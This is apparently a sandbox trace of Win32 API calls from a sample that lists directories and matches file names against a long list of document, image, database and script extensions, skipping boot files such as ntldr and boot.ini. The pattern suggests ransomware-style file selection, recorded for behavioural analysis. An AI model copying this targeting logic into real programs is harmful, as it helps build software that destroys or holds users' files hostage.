	[0175.569] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0175.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.569] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0175.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.569] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0175.569] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.569] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0175.737] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.737] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0175.737] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.737] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0175.737] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.737] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0175.738] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.738] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0175.738] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.738] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0175.738] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.738] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0175.738] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.738] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0175.738] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.738] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0175.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.739] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0175.739] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0175.739] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.739] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0175.739] lstrlenW (lpString="plugin.js") returned 9
	[0175.739] lstrlenW (lpString=".1cd") returned 4
	[0175.739] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0175.739] lstrlenW (lpString=".3ds") returned 4
	[0175.739] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0175.739] lstrlenW (lpString=".3fr") returned 4
	[0175.739] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0175.739] lstrlenW (lpString=".3g2") returned 4
	[0175.739] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0175.739] lstrlenW (lpString=".3gp") returned 4
	[0175.739] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0175.739] lstrlenW (lpString=".7z") returned 3
	[0175.739] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0175.739] lstrlenW (lpString=".accda") returned 6
	[0175.739] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0175.739] lstrlenW (lpString=".accdb") returned 6
	[0175.739] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0175.739] lstrlenW (lpString=".accdc") returned 6
	[0175.739] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0175.739] lstrlenW (lpString=".accde") returned 6
	[0175.739] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0175.739] lstrlenW (lpString=".accdt") returned 6
	[0175.739] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0175.740] lstrlenW (lpString=".accdw") returned 6
	[0175.740] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0175.740] lstrlenW (lpString=".adb") returned 4
	[0175.740] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".adp") returned 4
	[0175.740] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai") returned 3
	[0175.740] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0175.740] lstrlenW (lpString=".ai3") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai4") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai5") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai6") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai7") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ai8") returned 4
	[0175.740] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".anim") returned 5
	[0175.740] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0175.740] lstrlenW (lpString=".arw") returned 4
	[0175.740] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".as") returned 3
	[0175.740] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0175.740] lstrlenW (lpString=".asa") returned 4
	[0175.740] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".asc") returned 4
	[0175.740] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0175.740] lstrlenW (lpString=".ascx") returned 5
	[0175.740] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0175.740] lstrlenW (lpString=".asm") returned 4
	[0175.740] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".asmx") returned 5
	[0175.741] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0175.741] lstrlenW (lpString=".asp") returned 4
	[0175.741] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".aspx") returned 5
	[0175.741] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0175.741] lstrlenW (lpString=".asr") returned 4
	[0175.741] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".asx") returned 4
	[0175.741] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".avi") returned 4
	[0175.741] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".avs") returned 4
	[0175.741] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".backup") returned 7
	[0175.741] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0175.741] lstrlenW (lpString=".bak") returned 4
	[0175.741] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".bay") returned 4
	[0175.741] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".bd") returned 3
	[0175.741] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0175.741] lstrlenW (lpString=".bin") returned 4
	[0175.741] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".bmp") returned 4
	[0175.741] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".bz2") returned 4
	[0175.741] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".c") returned 2
	[0175.741] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0175.741] lstrlenW (lpString=".cdr") returned 4
	[0175.741] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0175.741] lstrlenW (lpString=".cer") returned 4
	[0175.741] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".cf") returned 3
	[0175.742] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0175.742] lstrlenW (lpString=".cfc") returned 4
	[0175.742] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".cfm") returned 4
	[0175.742] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".cfml") returned 5
	[0175.742] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0175.742] lstrlenW (lpString=".cfu") returned 4
	[0175.742] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".chm") returned 4
	[0175.742] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".cin") returned 4
	[0175.742] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".class") returned 6
	[0175.742] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0175.742] lstrlenW (lpString=".clx") returned 4
	[0175.742] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".config") returned 7
	[0175.742] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0175.742] lstrlenW (lpString=".cpp") returned 4
	[0175.742] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".cr2") returned 4
	[0175.742] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".crt") returned 4
	[0175.742] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0175.742] lstrlenW (lpString=".crw") returned 4
	[0175.743] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".cs") returned 3
	[0175.743] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0175.743] lstrlenW (lpString=".css") returned 4
	[0175.743] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".csv") returned 4
	[0175.743] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".cub") returned 4
	[0175.743] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dae") returned 4
	[0175.743] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dat") returned 4
	[0175.743] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".db") returned 3
	[0175.743] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0175.743] lstrlenW (lpString=".dbf") returned 4
	[0175.743] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dbx") returned 4
	[0175.743] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dc3") returned 4
	[0175.743] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dcm") returned 4
	[0175.743] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dcr") returned 4
	[0175.743] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".der") returned 4
	[0175.743] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dib") returned 4
	[0175.743] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dic") returned 4
	[0175.743] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".dif") returned 4
	[0175.743] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1
	[0175.743] lstrlenW (lpString=".divx") returned 5
	[0175.744] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".djvu") returned 5
	[0175.744] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".dng") returned 4
	[0175.744] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".doc") returned 4
	[0175.744] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".docm") returned 5
	[0175.744] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".docx") returned 5
	[0175.744] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".dot") returned 4
	[0175.744] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".dotm") returned 5
	[0175.744] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".dotx") returned 5
	[0175.744] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1
	[0175.744] lstrlenW (lpString=".dpx") returned 4
	[0175.744] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".dqy") returned 4
	[0175.744] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".dsn") returned 4
	[0175.744] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".dt") returned 3
	[0175.744] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0175.744] lstrlenW (lpString=".dtd") returned 4
	[0175.744] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1
	[0175.744] lstrlenW (lpString=".dwg") returned 4
	[0175.744] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".dwt") returned 4
	[0175.745] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".dx") returned 3
	[0175.745] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0175.745] lstrlenW (lpString=".dxf") returned 4
	[0175.745] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".edml") returned 5
	[0175.745] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1
	[0175.745] lstrlenW (lpString=".efd") returned 4
	[0175.745] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".elf") returned 4
	[0175.745] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".emf") returned 4
	[0175.745] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".emz") returned 4
	[0175.745] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".epf") returned 4
	[0175.745] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".eps") returned 4
	[0175.745] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".epsf") returned 5
	[0175.745] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1
	[0175.745] lstrlenW (lpString=".epsp") returned 5
	[0175.745] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1
	[0175.745] lstrlenW (lpString=".erf") returned 4
	[0175.745] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".exr") returned 4
	[0175.745] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".f4v") returned 4
	[0175.745] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1
	[0175.745] lstrlenW (lpString=".fido") returned 5
	[0175.745] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1
	[0175.745] lstrlenW (lpString=".flm") returned 4
	[0175.745] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".flv") returned 4
	[0175.746] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".frm") returned 4
	[0175.746] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".fxg") returned 4
	[0175.746] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".geo") returned 4
	[0175.746] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".gif") returned 4
	[0175.746] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".grs") returned 4
	[0175.746] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".gz") returned 3
	[0175.746] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0175.746] lstrlenW (lpString=".h") returned 2
	[0175.746] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0175.746] lstrlenW (lpString=".hdr") returned 4
	[0175.746] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".hpp") returned 4
	[0175.746] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".hta") returned 4
	[0175.746] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".htc") returned 4
	[0175.746] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".htm") returned 4
	[0175.746] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".html") returned 5
	[0175.746] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0175.746] lstrlenW (lpString=".icb") returned 4
	[0175.746] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".ics") returned 4
	[0175.746] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0175.746] lstrlenW (lpString=".iff") returned 4
	[0175.746] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".inc") returned 4
	[0175.747] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".indd") returned 5
	[0175.747] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0175.747] lstrlenW (lpString=".ini") returned 4
	[0175.747] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".iqy") returned 4
	[0175.747] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".j2c") returned 4
	[0175.747] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".j2k") returned 4
	[0175.747] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".java") returned 5
	[0175.747] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0175.747] lstrlenW (lpString=".jp2") returned 4
	[0175.747] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".jpc") returned 4
	[0175.747] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".jpe") returned 4
	[0175.747] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".jpeg") returned 5
	[0175.747] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0175.747] lstrlenW (lpString=".jpf") returned 4
	[0175.747] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".jpg") returned 4
	[0175.747] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".jpx") returned 4
	[0175.747] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0175.747] lstrlenW (lpString=".js") returned 3
	[0175.747] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0175.747] lstrlenW (lpString="plugin.js") returned 9
	[0175.747] lstrlenW (lpString=".GTF") returned 4
	[0175.747] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0175.748] lstrlenW (lpString="plugin.js") returned 9
	[0175.748] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0175.748] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
